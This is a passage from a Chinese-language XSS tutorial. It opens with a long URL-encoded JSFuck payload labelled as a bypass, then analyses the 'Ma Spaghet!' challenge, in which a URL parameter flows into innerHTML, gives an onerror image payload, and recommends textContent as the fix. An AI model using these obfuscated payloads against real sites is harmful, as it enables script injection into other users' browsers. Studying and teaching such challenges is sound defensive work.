2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
绕过!!!
7.10 Ma Spaghet!
<h2 id=\”spaghet\”></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get(\’somebody\’) || \”Somebody\”) + \” Toucha Ma Spaghet!\”
</script> 从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串,这里需要对innerHtml有一个比较清楚的认识。
InnerHtml
当给 innerHTML 设置一个值的时候到底发生了什么?用户代理按照以下步骤:
给定的值被解析为 HTML 或者 XML (取决于文档类型),
结果就是 DocumentFragment 对象代表元素新设置的 DOM 节点。
如果元素内容被替换成 <template> 元素,
<template> 元素的 content 属性会被替换为步骤1中创建的新的 DocumentFragment。
对于其他所有元素,元素的内容都被替换为新的 DocumentFragment节点。
安全问题
用 innerHTML 插入文本到网页中并不罕见。但这有可能成为网站攻击的媒介,从而产生潜在的安全风险问题。 const name = \”John\”;
// assuming \’el\’ is an HTML DOM element
el.innerHTML = name; // harmless in this case
// …
name = \”<script>alert(\’I am John in an annoying alert!\’)</script>\”;
el.innerHTML = name; // harmless in this case 尽管这看上去像 cross-site scripting 攻击,结果并不会导致什么。HTML 5 中指定不执行由 innerHTML 插入的 <script>标签。然而,有很多不依赖<script> 标签去执行 JavaScript 的方式。所以当你使用innerHTML 去设置你无法控制的字符串时,这仍然是一个安全问题。例如: const name = \”<img src=\’x\’ onerror=\’alert(1)\’>\”;
el.innerHTML = name; // shows the alert 基于这个原因,当插入纯文本时,建议不要使用 innerHTML 。取而代之的是使用 Node.textContent ,它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。
#以上关于2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含JAVASCRIPT和HTML代码层面分析,代码都进行了详细的注释]的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93998.html